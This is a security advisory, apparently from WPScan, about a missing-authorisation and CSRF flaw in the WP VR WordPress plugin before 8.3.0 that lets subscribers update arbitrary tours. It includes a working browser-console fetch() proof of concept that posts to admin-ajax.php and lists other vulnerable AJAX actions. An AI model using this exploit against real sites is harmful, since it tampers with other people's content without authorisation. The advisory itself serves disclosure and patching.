WordPress Plugin Vulnerabilities

WP VR < 8.3.0 - Subscriber+ Arbitrary Tour Update

Description

The plugin does not have authorisation and CSRF checks in various AJAX actions, one in particular could allow any authenticated users, such as subscriber to update arbitrary tours

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user (change the postid to an existing Tour ID)

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpvr_save&postid=681&preview=https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png&panodata={"scene-list":[{"scene-attachment-url":"https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png","scene-id":"1","scene-type":"equirectangular"}]}',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will update the tour with ID 681 with the given images

Other affected AJAX actions: wpvr_preview, wpvrstreetview_preview, wpvr_file_import, wpvr_role_management, wpvr_notice

Affects Plugins

Fixed in 8.3.0

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-03-29 (about 1 years ago)
Added
2023-03-29 (about 1 years ago)
Last Updated
2023-03-29 (about 1 years ago)

Other